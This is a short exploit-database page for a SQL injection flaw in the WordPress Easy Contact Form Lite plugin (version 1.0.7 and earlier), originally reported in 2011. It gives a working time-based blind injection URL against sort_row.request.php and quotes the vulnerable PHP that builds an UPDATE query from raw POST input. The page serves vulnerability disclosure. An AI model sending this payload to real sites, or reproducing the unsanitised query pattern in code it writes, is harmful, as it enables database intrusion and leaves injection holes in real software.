Lucene search
K

WordPress Easy Contact Form Lite plugin <= 1.0.7 SQL Injection

🗓️ 17 Aug 2011 00:00:00Reported by Miroslav StamparType 
zdt
 zdt
🔗 0day.today👁 22 Views

WordPress Easy Contact Form Lite plugin <= 1.0.7 SQL Injection Vulnerabilit

Code
# Exploit Title: WordPress Easy Contact Form Lite plugin <= 1.0.7 SQL Injection Vulnerability
# Date: 2011-08-17
# Author: Miroslav Stampar (miroslav.stampar(at)gmail.com @stamparm)
# Software Link: http://downloads.wordpress.org/plugin/easy-contact-form-lite.zip
# Version: 1.0.7 (tested)
 
---
PoC
---
http://www.site.com/wp-content/plugins/easy-contact-form-lite/requests/sort_row.request.php?field_num[]=-1 AND 1=IF(2>1,BENCHMARK(5000000,MD5(CHAR(115,113,108,109,97,112))),0)
 
---------------
Vulnerable code
---------------
foreach ($_POST['field_num'] as $position=>$field_id) {
     
    if ($field_id > 0) {
        $query = "
            UPDATE $settings_table_name
            SET position = '".$position."'
            WHERE ID = $field_id";
        $wpdb->query($query);
    }



#  0day.today [2018-01-02]  #

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

17 Aug 2011 00:00Current
7.1High risk
Vulners AI Score7.1
22